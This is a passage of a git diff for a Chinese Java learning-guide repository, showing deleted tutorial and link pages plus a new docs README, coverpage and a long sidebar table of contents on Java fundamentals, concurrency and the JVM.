\ No newline at end of file
diff --git a/basics/java-basic/variable.md b/basics/java-basic/variable.md
deleted file mode 100644
index 8e715c7c..00000000
--- a/basics/java-basic/variable.md
+++ /dev/null
@@ -1,29 +0,0 @@
-### 类变量、成员变量和局部变量
-
-Java中共有三种变量,分别是类变量、成员变量和局部变量。他们分别存放在JVM的方法区、堆内存和栈内存中。
-```java
- /**
- * @author Hollis
- */
- public class Variables {
-
- /**
- * 类变量
- */
- private static int a;
-
- /**
- * 成员变量
- */
- private int b;
-
- /**
- * 局部变量
- * @param c
- */
- public void test(int c){
- int d;
- }
- }
-```
-上面定义的三个变量中,变量a就是类变量,变量b就是成员变量,而变量c和d是局部变量。
diff --git a/basics/jvm/java-object-model.md b/basics/jvm/java-object-model.md
deleted file mode 100644
index 3319d312..00000000
--- a/basics/jvm/java-object-model.md
+++ /dev/null
@@ -1,14 +0,0 @@
-> 本文是[《成神之路系列文章》](/catalog/catalog.md)中的一篇,主要是关于JVM的一些介绍。
->
-> 持续更新中
-
-[JVM内存结构 VS Java内存模型 VS Java对象模型][2]
-
-[深入理解多线程(二)—— Java的对象模型][3]
-
-[深入理解多线程(三)—— Java的对象头][4]
-
- [1]: http://www.hollischuang.com/archives/1001
- [2]: http://www.hollischuang.com/archives/2509
- [3]: http://www.hollischuang.com/archives/1910
- [4]: http://www.hollischuang.com/archives/1953
\ No newline at end of file
diff --git a/basics/jvm/jvm-memory-structure.md b/basics/jvm/jvm-memory-structure.md
deleted file mode 100644
index 994b67d9..00000000
--- a/basics/jvm/jvm-memory-structure.md
+++ /dev/null
@@ -1,28 +0,0 @@
-## Java内存模型,Java内存管理,Java堆和栈,垃圾回收
-
-> 本文是[《成神之路系列文章》](/catalog/catalog.md)中的一篇,主要是关于JVM的一些介绍。
->
-> 持续更新中
-
-参考文章:
-
-[Java虚拟机的内存组成以及堆内存介绍][1]
-
-[Java堆和栈看这篇就够][2]
-
-[Java虚拟机的堆、栈、堆栈如何去理解?][3]
-
-[Java 内存之方法区和运行时常量池][4]
-
-[从0到1起步-跟我进入堆外内存的奇妙世界][5]
-
-[JVM内存结构 VS Java内存模型 VS Java对象模型][6]
-
-参考书籍:《深入理解Java虚拟机》
-
- [1]: http://www.hollischuang.com/archives/80
- [2]: https://iamjohnnyzhuang.github.io/java/2016/07/12/Java%E5%A0%86%E5%92%8C%E6%A0%88%E7%9C%8B%E8%BF%99%E7%AF%87%E5%B0%B1%E5%A4%9F.html
- [3]: https://www.zhihu.com/question/29833675
- [4]: https://mritd.me/2016/03/22/Java-%E5%86%85%E5%AD%98%E4%B9%8B%E6%96%B9%E6%B3%95%E5%8C%BA%E5%92%8C%E8%BF%90%E8%A1%8C%E6%97%B6%E5%B8%B8%E9%87%8F%E6%B1%A0/
- [5]: https://www.jianshu.com/p/50be08b54bee
- [6]: http://www.hollischuang.com/archives/2509
diff --git a/catalog/catalog.md b/catalog/catalog.md
deleted file mode 100644
index 86a23569..00000000
--- a/catalog/catalog.md
+++ /dev/null
@@ -1,88 +0,0 @@
-[Java工程师成神之路](https://github.com/hollischuang/toBeTopJavaer)一文介绍了一个普通的Java工程师想要成神需要学习的所有相关知识点。很多内容介绍都是直接抛了一个链接,并且大部分都是英文文档或者相关技术的官网。
-
-本系列文章主要从头开始总结[Java工程师成神之路](https://github.com/hollischuang/toBeTopJavaer)一文中介绍的所有知识点。
-
-编程界有一句老话,叫做不要重复造轮子。虽然我并不完全认同这句话。但是本系列文章的原则类似:如果网上有人针对某知识点有十分详尽的介绍,那么就直接附上原文地址(绝对不做伸手党),如果实在没有写的好的文章,那么笔者就尝试着总结一下。
-
-总结该系列文章的最主要目的就是和所有Javaer共同学习与进步。该系列文章的进展情况会在本文章和我的微信公众帐号中进行同步。希望和大家共同进步!每一个专题学习完之后欢迎大家通过微信公众号(Hollis)和我一起交流。
-
-Here We Go!
-
-### 目录:
-
-[《成神之路-基础篇》JVM——JVM内存结构](/basics/jvm/jvm-memory-structure.md)
-
-[《成神之路-基础篇》JVM——Java内存模型](/basics/jvm/java-memory-model.md)
-
-[《成神之路-基础篇》JVM——Java对象模型](/basics/jvm/java-object-model.md)
-
-[《成神之路-基础篇》JVM——HotSpot][5]
-
-[《成神之路-基础篇》JVM——垃圾回收][6]
-
-[《成神之路-基础篇》JVM——JVM参数及调优][7]
-
-[《成神之路-基础篇》JVM——常用Java命令][8]
-
-[《成神之路-基础篇》编译与反编译][9]
-
-[《成神之路-基础篇》Java基础知识——阅读源代码][10]
-
-[《成神之路-基础篇》Java基础知识——String相关][11]
-
-[《成神之路-基础篇》Java基础知识——Java中各种关键字][12]
-
-[《成神之路-基础篇》Java基础知识——自动拆装箱][13]
-
-[《成神之路-基础篇》Java基础知识——枚举][14]
-
-[《成神之路-基础篇》Java基础知识——反射][15]
-
-[《成神之路-基础篇》Java基础知识——序列化][16]
-
-[《成神之路-基础篇》Java基础知识——JMS][17]
-
-[《成神之路-基础篇》Java基础知识——泛型][18]
-
-[《成神之路-基础篇》Java基础知识——常用的Java工具库][19]
-
-[《成神之路-基础篇》Java基础知识——单元测试][20]
-
-[《成神之路-进阶篇》设计模式——设计模式合集][21]
-
-[《成神之路-高级篇》Java并发编程——锁][22]
-
-[《成神之路-高级篇》大数据知识—— Zookeeper合集][23]
-
-[《成神之路-高级篇》网络安全知识—— 解决webx的xss和csrf漏洞][24]
-
-[《成神之路-进阶篇》网络编程知识——常用协议][25]
-
-[《成神之路-扩展篇》分布式—— 分布式合集][26]
-
- [1]: http://www.hollischuang.com/archives/489
- [2]: http://www.hollischuang.com/archives/2374
- [3]: http://www.hollischuang.com/archives/1003
- [4]: http://www.hollischuang.com/archives/2814
- [5]: http://www.hollischuang.com/archives/2822
- [6]: http://www.hollischuang.com/archives/2376
- [7]: http://www.hollischuang.com/archives/2378
- [8]: http://www.hollischuang.com/archives/1034
- [9]: http://www.hollischuang.com/archives/2817
- [10]: http://www.hollischuang.com/archives/1007
- [11]: http://www.hollischuang.com/archives/1330
- [12]: http://www.hollischuang.com/archives/1327
- [13]: http://www.hollischuang.com/archives/2700
- [14]: http://www.hollischuang.com/archives/2829
- [15]: http://www.hollischuang.com/archives/1163
- [16]: http://www.hollischuang.com/archives/1158
- [17]: http://www.hollischuang.com/archives/1226
- [18]: http://www.hollischuang.com/archives/1182
- [19]: http://www.hollischuang.com/archives/2836
- [20]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95
- [21]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
- [22]: http://www.hollischuang.com/archives/2842
- [23]: http://www.hollischuang.com/?s=Zookeeper
- [24]: http://www.hollischuang.com/archives/69
- [25]: http://www.hollischuang.com/archives/2846
- [26]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E5%88%86%E5%B8%83%E5%BC%8F
diff --git a/basics/java-basic/data-structure/list.md b/docs/.nojekyll
similarity index 100%
rename from basics/java-basic/data-structure/list.md
rename to docs/.nojekyll
diff --git a/docs/README.md b/docs/README.md
new file mode 100644
index 00000000..45ea4c4a
--- /dev/null
+++ b/docs/README.md
@@ -0,0 +1,60 @@
+## To Be Top Javaer - Java工程师成神之路
+
+  
+
+成神之路系列丛书的第一本《深入理解Java核心技术(基础篇)》已经正式出版了,这本书囊括了中基础篇的几乎全部内容,欢迎大家购买品鉴。
+
+
+
+| 主要版本 | 更新时间 | 备注 |
+| ---- | ---------- | -------------- |
+| v4.0 | 2022-05-20 | 知识体系完善,知识点补充|
+| v3.0 | 2020-03-31 | 知识体系完善,在v2.0的基础上,新增20%左右的知识点 调整部分知识的顺序及结构,方便阅读和理解 通过GitHub Page搭建,便于阅读|
+| v2.0 | 2019-02-19 | 结构调整,更适合从入门到精通; 进一步完善知识体系; 新技术补充;|
+| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |
+| v1.0 | 2015-08-01 | 首次发布 |
+
+
+目前正在更新中...
+
+欢迎大家参与共建~
+
+### 联系我们
+
+欢迎关注作者的公众号,可以直接后台留言。
+
+
+
+*公众号后台回复:"成神导图",即可获取《Java工程师成神之路最新版思维导图》*
+
+### 关于作者
+
+Hollis,阿里巴巴技术专家,51CTO专栏作家,CSDN博客专家,掘金优秀作者,《程序员的三门课》联合作者,《Java工程师成神之路》系列文章作者;热衷于分享计算机编程相关技术,博文全网阅读量上千万。
+
+
+### 开源协议
+
+本着互联网的开放精神,本项目采用开放的[GPL]协议进行许可。
+
+
+### 参与共建
+
+如果您对本项目中的内容有建议或者意见
+
+如果你对本项目中未完成的章节感兴趣
+
+欢迎提出专业方面的修改建议及供稿,供稿只接受原创
+
+请直接在[GitHub](https://github.com/hollischuang/toBeTopJavaer)上以issue或者PR的形式提出
+
+如果本项目中的内容侵犯了您的任何权益,欢迎通过邮箱(hollischuang@gmail)与我联系
+
+### 在线阅读地址
+
+GitHub Pages 完整阅读:[进入](https://hollischuang.github.io/toBeTopJavaer/)
+
+Gitee Pages 完整阅读:[进入](http://hollischuang.gitee.io/tobetopjavaer) (国内访问速度较快)
+
+
+
+### 开始阅读
\ No newline at end of file
diff --git a/docs/_coverpage.md b/docs/_coverpage.md
new file mode 100644
index 00000000..641cfd88
--- /dev/null
+++ b/docs/_coverpage.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+  
+
+
+
+ 👁️本页总访问次数:
+
+
+ | 🧑总访客数:
+
+
+
+
开始阅读
diff --git a/docs/_sidebar.md b/docs/_sidebar.md
new file mode 100644
index 00000000..f12297d8
--- /dev/null
+++ b/docs/_sidebar.md
@@ -0,0 +1,1950 @@
+
+* 基础篇
+
+ * 面向对象
+
+ * 什么是面向对象
+
+ * [面向对象与面向过程](/basics/object-oriented/object-oriented-vs-procedure-oriented.md)
+
+ * [面向对象的三大基本特征](/basics/object-oriented/characteristics.md)
+
+ * [面向对象的五大基本原则](/basics/object-oriented/principle.md)
+
+ * 封装、继承、多态
+ * [什么是多态](/basics/object-oriented/polymorphism.md)
+
+ * [方法重写与重载](/basics/object-oriented/overloading-vs-overriding.md)
+
+ * [Java的继承与实现](/basics/object-oriented/extends-implement.md)
+
+ * [Java为什么不支持多继承](/basics/object-oriented/multiple-inheritance.md)
+
+ * [Java的继承与组合](/basics/object-oriented/inheritance-composition.md)
+
+ * [构造函数与默认构造函数](/basics/object-oriented/constructor.md)
+
+ * [类变量、成员变量和局部变量](/basics/object-oriented/variable.md)
+
+ * [成员变量和方法作用域](/basics/object-oriented/scope.md)
+
+ * 平台无关性
+
+ * [Java如何实现的平台无关性的](/basics/object-oriented/platform-independent.md)
+
+ * [JVM还支持哪些语言](/basics/object-oriented/jvm-language.md)
+
+ * 值传递
+
+ * [值传递、引用传递](/basics/object-oriented/java-pass-by.md)
+
+ * [为什么说Java中只有值传递](/basics/object-oriented/why-pass-by-reference.md)
+
+ * Java基础知识
+
+ * 基本数据类型
+
+ * [8种基本数据类型](/basics/java-basic/basic-data-types.md)
+
+ * [整型中byte、short、int、long的取值范围](/basics/java-basic/integer-scope.md)
+
+ * [什么是浮点型?](/basics/java-basic/float.md)
+
+ * [什么是单精度和双精度?](/basics/java-basic/single-double-float.md)
+
+ * [为什么不能用浮点型表示金额?](/basics/java-basic/float-amount.md)
+
+ * 自动拆装箱
+
+ * [自动拆装箱](/basics/java-basic/boxing-unboxing.md)
+
+ * [Integer的缓存机制](/basics/java-basic/integer-cache.md)
+
+ * [如何正确定义接口的返回值(boolean/Boolean)类型及命名(success/isSuccess)](/basics/java-basic/success-isSuccess-and-boolean-Boolean.md)
+
+ * String
+
+ * [字符串的不可变性](/basics/java-basic/final-string.md)
+
+ * [JDK 6和JDK 7中substring的原理及区别](/basics/java-basic/substring.md)
+
+ * [replaceFirst、replaceAll、replace区别](/basics/java-basic/replace-in-string.md)
+
+ * [String对“+”的重载](/basics/java-basic/string-append.md)
+
+ * [字符串拼接的几种方式和区别](/basics/java-basic/string-concat.md)
+
+ * [Java 8中的StringJoiner](/basics/java-basic/stringjoiner-in-java8.md)
+
+ * [String.valueOf和Integer.toString的区别](/basics/java-basic/value-of-vs-to-string.md)
+
+ * [switch对String的支持](/basics/java-basic/switch-string.md)
+
+ * [字符串池](/basics/java-basic/string-pool.md)
+
+ * [Class常量池](/basics/java-basic/class-contant-pool.md)
+
+ * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)
+
+ * [intern](/basics/java-basic/intern.md)
+
+ * [String有没有长度限制?](/basics/java-basic/length-of-string.md)
+
+ * Java中各种关键字
+
+ * [transient](basics/java-basic/transient-in-java.md)
+
+ * [instanceof](basics/java-basic/instanceof-in-java.md)
+
+ * [volatile](basics/concurrent-coding/volatile.md)
+
+ * [synchronized](basics/concurrent-coding/synchronized.md)
+
+ * [final](basics/java-basic/final-in-java.md)
+
+ * [static](basics/java-basic/static-in-java.md)
+
+ * [const](basics/java-basic/const-in-java.md)
+
+ * 集合类
+
+ * [Collection和Collections区别](/basics/java-basic/Collection-vs-Collections.md)
+
+ * 常用集合类的使用
+
+ * [Set和List区别?](/basics/java-basic/set-vs-list.md)
+
+ * [ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)
+
+ * [ArrayList使用了transient关键字进行存储优化,而Vector没有,为什么?](/basics/java-basic/why-transient-in-arraylist.md)
+
+ * [SynchronizedList和Vector的区别](/basics/java-basic/synchronizedlist-vector.md)
+
+ * [Set如何保证元素不重复?](/basics/java-basic/set-repetition.md)
+
+ * [HashMap、HashTable、ConcurrentHashMap区别](/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md)
+
+ * Java 8中Map相关的红黑树的引用背景、原理等
+
+ * [HashMap的容量、扩容](/basics/java-basic/hashmap-capacity.md)
+
+ * [HashMap中hash方法的原理](/basics/java-basic/hash-in-hashmap.md)
+
+ * [为什么HashMap的默认容量设置成16](/basics/java-basic/hashmap-default-capacity.md)
+
+ * [为什么HashMap的默认负载因子设置成0.75](/basics/java-basic/hashmap-default-loadfactor.md)
+
+ * [为什么建议设置HashMap的初始容量,设置多少合适](/basics/java-basic/hashmap-init-capacity.md)
+
+ * [Java 8中stream相关用法](/basics/java-basic/stream.md)
+
+ * [Apache集合处理工具类的使用](/basics/java-basic/apache-collections.md)
+
+ * 不同版本的JDK中HashMap的实现的区别以及原因
+
+ * [Arrays.asList获得的List使用时需要注意什么](/basics/java-basic/Arrays-asList.md)
+
+ * [Collection如何迭代](/basics/java-basic/iteration-of-collection.md)
+
+ * [Enumeration和Iterator区别](/basics/java-basic/Enumeration-vs-Iterator.md)
+
+ * [fail-fast 和 fail-safe](/basics/java-basic/fail-fast-vs-fail-safe.md)
+
+ * [如何在遍历的同时删除ArrayList中的元素](/basics/java-basic/delete-while-iterator.md)
+
+ * [CopyOnWriteArrayList](/basics/java-basic/CopyOnWriteArrayList.md)
+
+ * [ConcurrentSkipListMap](/basics/java-basic/ConcurrentSkipListMap.md)
+
+ * 枚举
+
+ * [枚举的用法](/basics/java-basic/enum-usage.md)
+
+ * [枚举的实现](/basics/java-basic/enum-impl.md)
+
+ * [枚举与单例](/basics/java-basic/enum-singleton.md)
+
+ * [Enum类](/basics/java-basic/enum-class.md)
+
+ * [Java枚举如何比较](/basics/java-basic/enum-compare.md)
+
+ * [switch对枚举的支持](/basics/java-basic/enum-switch.md)
+
+ * [枚举的序列化如何实现](/basics/java-basic/enum-serializable.md)
+
+ * [枚举的线程安全性问题](/basics/java-basic/enum-thread-safe.md)
+
+ * [为什么不建议在对外接口中使用枚举](/basics/java-basic/stop-use-enum-in-api.md)
+
+ * IO
+
+ * [字符流、字节流](/basics/java-basic/byte-stream-vs-character-stream.md)
+
+ * [输入流、输出流](/basics/java-basic/input-stream-vs-output-stream.md)
+
+ * [字节流和字符流之间的相互转换](/basics/java-basic/convert-bytestream-characterstream.md)
+
+ * [同步、异步](/basics/java-basic/synchronized-vs-asynchronization.md)
+
+ * [阻塞、非阻塞](/basics/java-basic/block-vs-non-blocking.md)
+
+ * [Linux 5种IO模型](/basics/java-basic/linux-io.md)
+
+ * [BIO、NIO和AIO的区别、三种IO的用法与原理](/basics/java-basic/bio-vs-nio-vs-aio.md)
+
+ * [netty](/basics/java-basic/netty.md)
+
+ * 反射
+
+ * [反射](/basics/java-basic/reflection.md)
+
+ * [反射有什么作用](/basics/java-basic/usage-of-reflection.md)
+
+ * [Class类](/basics/java-basic/Class.md)
+
+ * [反射与工厂模式实现Spring IOC](/basics/java-basic/ioc-implement-with-factory-and-reflection.md)
+
+ * `java.lang.reflect.*`
+
+ * 动态代理
+
+ * [静态代理](/basics/java-basic/static-proxy.md)
+
+ * [动态代理](/basics/java-basic/dynamic-proxy.md)
+
+ * [动态代理和反射的关系](/basics/java-basic/dynamic-proxy-vs-reflection.md)
+
+ * [动态代理的几种实现方式](/basics/java-basic/dynamic-proxy-implementation.md)
+
+ * [AOP](/basics/java-basic/aop-vs-proxy.md)
+
+ * 序列化
+
+ * [什么是序列化与反序列化](basics/java-basic/serialize.md)
+
+ * [Java如何实现序列化与反序列化](basics/java-basic/serialize-in-java.md)
+
+ * [Serializable 和 Externalizable 有何不同](basics/java-basic/diff-serializable-vs-externalizable.md)
+
+ * 为什么序列化
+
+ * [serialVersionUID](basics/java-basic/serialVersionUID.md)
+
+ * [为什么serialVersionUID不能随便改](basics/java-basic/serialVersionUID-modify.md)
+
+ * [transient](basics/java-basic/transient-in-java.md)
+
+ * [序列化底层原理](basics/java-basic/serialize-principle.md)
+
+ * [序列化如何破坏单例模式](basics/java-basic/serialize-singleton.md)
+
+ * [protobuf](basics/java-basic/protobuf.md)
+
+ * [Apache-Commons-Collections的反序列化漏洞](basics/java-basic/bug-in-apache-commons-collections.md)
+
+ * [fastjson的反序列化漏洞](basics/java-basic/bug-in-fastjson.md)
+
+ * 注解
+
+ * [元注解](/basics/java-basic/meta-annotation.md)
+
+ * [自定义注解](/basics/java-basic/custom-annotation.md)
+
+ * [Java中常用注解使用](/basics/java-basic/annotation-in-java.md)
+
+ * [注解与反射的结合](/basics/java-basic/annotion-and-reflect.md)
+
+ * [如何自定义一个注解?](/basics/java-basic/create-annotation.md)
+
+ * [Spring常用注解](/basics/java-basic/annotation-in-spring.md)
+
+ * 泛型
+
+ * [什么是泛型](/basics/java-basic/generics.md)
+
+ * [类型擦除](/basics/java-basic/type-erasure.md)
+
+ * [泛型带来的问题](/basics/java-basic/generics-problem.md)
+
+ * [泛型中K T V E ? object等的含义](/basics/java-basic/k-t-v-e.md)
+
+ * 泛型各种用法
+
+ * [限定通配符和非限定通配符](/basics/java-basic/Wildcard-Character.md)
+
+ * [上下界限定符extends 和 super](/basics/java-basic/extends-vs-super.md)
+
+ * [`List`和原始类型`List`之间的区别?](/basics/java-basic/genericity-list.md)
+
+ * [`List>`和`List`之间的区别是什么?](/basics/java-basic/genericity-list-wildcard.md)
+
+ * 单元测试
+
+ * [junit](/basics/java-basic/junit.md)
+
+ * junit 和Spring 的结合
+
+ * [mock](/basics/java-basic/mock.md)
+
+ * [JMockit](/basics/java-basic/ut-with-jmockit.md)
+
+ * [内存数据库(h2)](/basics/java-basic/h2-db.md)
+
+ * 正则表达式
+
+ * `java.lang.util.regex.*`
+
+ * 常用的Java工具库
+
+ * `commons.lang`
+
+ * `commons.*...`
+
+ * `guava-libraries`
+
+ * `netty`
+
+ * API&SPI
+
+ * API
+
+ * [API和SPI的关系和区别](/basics/java-basic/api-vs-spi.md)
+
+ * [如何定义SPI](/basics/java-basic/create-spi.md)
+
+ * [SPI的实现原理](/basics/java-basic/spi-principle.md)
+
+ * 异常
+
+ * [Error和Exception](/basics/java-basic/error-vs-exception.md)
+
+ * [异常类型](/basics/java-basic/exception-type.md)
+
+ * [异常相关关键字](/basics/java-basic/keyword-about-exception.md)
+
+ * [正确处理异常](/basics/java-basic/handle-exception.md)
+
+ * [自定义异常](/basics/java-basic/define-exception.md)
+
+ * [异常链](/basics/java-basic/exception-chain.md)
+
+ * [try-with-resources](/basics/java-basic/try-with-resources.md)
+
+ * [finally和return的执行顺序](/basics/java-basic/order-about-finllly-return.md)
+
+ * 时间处理
+
+ * [时区](/basics/java-basic/time-zone.md)
+
+ * [冬令时和夏令时](/basics/java-basic/StandardTime-vs-daylightSavingTime.md)
+
+ * [时间戳](/basics/java-basic/timestamp.md)
+
+ * Java中时间API
+
+ * [格林威治时间](/basics/java-basic/GMT.md)
+
+ * [CET,UTC,GMT,CST几种常见时间的含义和关系](/basics/java-basic/CET-UTC-GMT-CST.md)
+
+ * [SimpleDateFormat的线程安全性问题](/basics/java-basic/simpledateformat-thread-safe.md)
+
+ * [Java 8中的时间处理](/basics/java-basic/time-in-java8.md)
+
+ * [如何在东八区的计算机上获取美国时间](/basics/java-basic/get-los_angeles-time.md)
+
+ * [yyyy和YYYY有什么区别?](/basics/java-basic/YYYY-vs-yyyy.md)
+
+ * 为什么日期格式化时必须有使用y表示年,而不能用Y?
+
+ * 编码方式
+
+ * [什么是ASCII?](/basics/java-basic/ASCII.md)
+
+ * [Unicode](/basics/java-basic/UNICODE.md)
+
+ * [有了Unicode为啥还需要UTF-8](/basics/java-basic/why-utf8.md)
+
+ * [UTF8、UTF16、UTF32区别](/basics/java-basic/UTF8-UTF16-UTF32.md)
+
+ * [有了UTF8为什么还需要GBK?](/basics/java-basic/why-gbk.md)
+
+ * [GBK、GB2312、GB18030之间的区别](/basics/java-basic/gbk-gb2312-gb18030.md)
+
+ * [URL编解码](/basics/java-basic/url-encode.md)
+
+ * [Big Endian和Little Endian](/basics/java-basic/big-endian-vs-little-endian.md)
+
+ * 如何解决乱码问题
+
+ * 语法糖
+
+ * [Java中语法糖原理、解语法糖](/basics/java-basic/syntactic-sugar.md)
+
+ * [语法糖介绍](/basics/java-basic/syntactic-sugar.md)
+
+ * JMS
+
+ * 什么是Java消息服务
+
+ * JMS消息传送模型
+
+ * JMX
+
+ * java.lang.management.*
+
+ * javax.management.*
+
+ * BigDecimal
+
+ * 为什么0.1+0.2不等于0.3
+
+ * [为什么不能使用BigDecimal的equals比较大小](/basics/java-basic/stop-using-equlas-in-bigdecimal.md)
+
+ * [为什么不能直接使用double创建一个BigDecimal](/basics/java-basic/stop-create-bigdecimal-with-double.md)
+
+ * Java 8
+
+ * [lambda表达式](/basics/java-basic/lambda.md)
+
+ * [Stream API](/basics/java-basic/stream.md)
+
+ * [时间API](/basics/java-basic/time-in-java8.md)
+
+ * 阅读源代码
+
+ * String
+
+ * Integer
+
+ * Long
+
+ * Enum
+
+ * BigDecimal
+
+ * ThreadLocal
+
+ * ClassLoader & URLClassLoader
+
+ * ArrayList & LinkedList
+
+ * HashMap & LinkedHashMap & TreeMap & CouncurrentHashMap
+
+ * HashSet & LinkedHashSet & TreeSet
+
+ * Java并发编程
+
+ * 并发与并行
+
+ * [什么是并发](/basics/concurrent-coding/concurrent.md)
+
+ * [什么是并行](/basics/concurrent-coding/parallel.md)
+
+ * [并发与并行的区别](/basics/concurrent-coding/concurrent-vs-parallel.md)
+
+ * 线程
+
+ * [线程与进程的区别](/basics/concurrent-coding/progress-vs-thread.md)
+
+ * [线程的特点](/basics/concurrent-coding/thread.md)
+
+ * [线程的实现](/basics/concurrent-coding/implement-of-thread.md)
+
+ * [线程的状态](/basics/concurrent-coding/state-of-thread.md)
+
+ * [线程优先级](/basics/concurrent-coding/priority-of-thread.md)
+
+ * [线程调度](/basics/concurrent-coding/thread-scheduling.md)
+
+ * [多线程如何Debug](/basics/concurrent-coding/debug-in-multithread.md)
+
+ * [守护线程](/basics/concurrent-coding/deamon-thread.md)
+
+ * 创建线程的多种方式
+
+ * [继承Thread类创建线程](/basics/concurrent-coding/create-thread-with-extends.md)
+
+ * [实现Runnable接口创建线程](/basics/concurrent-coding/create-thread-with-Implement.md)
+
+ * [通过Callable和FutureTask创建线程](/basics/concurrent-coding/create-thread-with-callback-future-task.md)
+
+ * [通过线程池创建线程](/basics/concurrent-coding/create-thread-with-thead-pool.md)
+
+ * 线程池
+
+ * 自己设计线程池
+
+ * submit() 和 execute()
+
+ * 线程池原理
+
+ * [为什么不允许使用Executors创建线程池](/basics/concurrent-coding/why-not-executors.md)
+
+ * 线程安全
+
+ * [什么是线程安全](/basics/concurrent-coding/thread-safe.md)
+
+ * 多级缓存和一致性问题
+
+ * CPU时间片和原子性问题
+
+ * 指令重排和有序性问题
+
+ * 线程安全和内存模型的关系
+
+ * happens-before
+
+ * as-if-serial
+
+ * 锁
+
+ * 可重入锁
+
+ * 阻塞锁
+
+ * 乐观锁与悲观锁
+
+ * 数据库相关锁机制
+
+ * 分布式锁
+
+ * 无锁
+
+ * CAS
+
+ * CAS的ABA问题
+
+ * 锁优化
+
+ * 偏向锁
+
+ * 轻量级锁
+
+ * 重量级锁
+
+ * 锁消除
+
+ * 锁粗化
+
+ * 自旋锁
+
+ * 死锁
+
+ * [什么是死锁](/basics/concurrent-coding/deadlock-java-level.md)
+
+ * 死锁的原因
+
+ * 如何避免死锁
+
+ * 写一个死锁的程序
+
+ * 死锁问题如何排查
+
+ * synchronized
+
+ * [synchronized是如何实现的?](/basics/concurrent-coding/synchronized.md)
+
+ * synchronized和lock之间关系
+
+ * 不使用synchronized如何实现一个线程安全的单例
+
+ * synchronized和原子性
+
+ * synchronized和可见性
+
+ * synchronized和有序性
+
+ * volatile
+
+ * 编译器指令重排和CPU指令重排
+
+ * volatile的实现原理
+
+ * 内存屏障
+
+ * volatile和原子性
+
+ * volatile和可见性
+
+ * volatile和有序性
+
+ * 有了synchronized为什么还需要volatile
+
+ * 线程相关方法
+
+ * start & run
+
+ * sleep 和 wait
+
+ * notify & notifyAll
+
+ * ThreadLocal
+
+ * ThreadLocal 原理
+
+ * ThreadLocal 底层的数据结构
+
+ * 写代码来解决生产者消费者问题
+
+ * 并发包
+
+ * 同步容器与并发容器
+
+ * Thread
+
+ * Runnable
+
+ * Callable
+
+ * ReentrantLock
+
+ * ReentrantReadWriteLock
+
+ * Atomic*
+
+ * Semaphore
+
+ * CountDownLatch
+
+ * ConcurrentHashMap
+
+ * Executors
+
+* 底层篇
+
+ * JVM
+
+ * JVM内存结构
+
+ * 运行时数据区
+
+ * [运行时数据区哪些是线程独享](/basement/jvm/exclusive-in-runtime-area.md)
+
+ * 堆和栈区别
+
+ * 方法区在不同版本JDK中的位置
+
+ * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)
+
+ * 堆外内存
+
+ * TLAB
+
+ * [Java中的对象一定在堆上分配吗?](/basement/jvm/stack-alloc.md)
+
+ * 垃圾回收
+
+ * GC算法:标记清除、引用计数、复制、标记压缩、分代回收、增量式回收
+
+ * GC参数
+
+ * 对象存活的判定
+
+ * 垃圾收集器(CMS、G1、ZGC、Epsilon)
+
+ * JVM参数及调优
+
+ * -Xmx
+
+ * -Xmn
+
+ * -Xms
+
+ * -Xss
+
+ * -XX:SurvivorRatio
+
+ * -XX:PermSize
+
+ * -XX:MaxPermSize
+
+ * -XX:MaxTenuringThreshold
+
+ * Java对象模型
+
+ * oop-klass
+
+ * 对象头
+
+ * HotSpot
+
+ * 即时编译器
+
+ * 编译优化
+
+ * Java内存模型
+
+ * 计算机内存模型
+
+ * 缓存一致性
+
+ * MESI协议
+
+ * 可见性
+
+ * 原子性
+
+ * 顺序性
+
+ * happens-before
+
+ * as-if-serial
+
+ * 内存屏障
+
+ * synchronized
+
+ * volatile
+
+ * final
+
+ * 锁
+
+ * 虚拟机性能监控与故障处理工具
+
+ * jps
+
+ * jstack
+
+ * jmap
+
+ * jstat
+
+ * jconsole
+
+ * jinfo
+
+ * jhat
+
+ * javap
+
+ * btrace
+
+ * TProfiler
+
+ * jlink
+
+ * Arthas
+
+ * 类加载机制
+
+ * classLoader
+
+ * 类加载过程是线程安全的吗?
+
+ * 类加载过程
+
+ * 如何判断JVM中类和其他类是不是同一个类
+
+ * [双亲委派原则](/basement/jvm/parents-delegate.md)
+
+ * [为什么需要双亲委派?](/basement/jvm/why-parents-delegate.md)
+
+ * [“父子加载器”之间的关系是继承吗?](/basement/jvm/relation-with-parents-delegate.md)
+
+ * [双亲委派是如何实现的?](/basement/jvm/implements-of-parents-delegate.md)
+
+ * [如何打破双亲委派](/basement/jvm/ibreak-parants-delegate.md)
+
+ * [如何自定义类加载器](/basement/jvm/define-class-loader.md)
+
+ * [双亲委派被破坏的例子](/basement/jvm/sample-of-break-parents-delegate.md)
+
+ * [为什么JNDI,JDBC等需要破坏双亲委派?](/basement/jvm/spi-parents-delegate.md)
+
+ * [为什么Tomcat要破坏双亲委派](/basement/jvm/tomcat-parents-delegate.md)
+
+ * [模块化(jboss modules、osgi、jigsaw)](/basement/jvm/moduler.md)
+
+ * 打包工具
+
+ * jar
+
+ * jlink
+
+ * jpackage
+
+ * 编译与反编译
+
+ * 什么是编译
+
+ * 什么是反编译
+
+ * [Class常量池](/basics/java-basic/class-contant-pool.md)
+
+ * 编译工具:javac
+
+ * 反编译工具:javap 、jad 、CRF
+
+ * JIT
+
+ * JIT优化(逃逸分析、栈上分配、标量替换、锁优化)
+
+
+
+* 进阶篇
+ * Java底层知识
+
+ * 字节码
+
+ * class文件格式
+
+ * CAFEBABE
+
+ * 位运算
+
+ * 用位运算实现加、减、乘、除、取余
+
+ * 设计模式
+
+ * 设计模式的六大原则
+
+ * 开闭原则(Open Close Principle)
+
+ * 里氏代换原则(Liskov Substitution Principle)
+
+ * 依赖倒转原则(Dependence Inversion Principle)
+
+ * 接口隔离原则(Interface Segregation Principle)
+
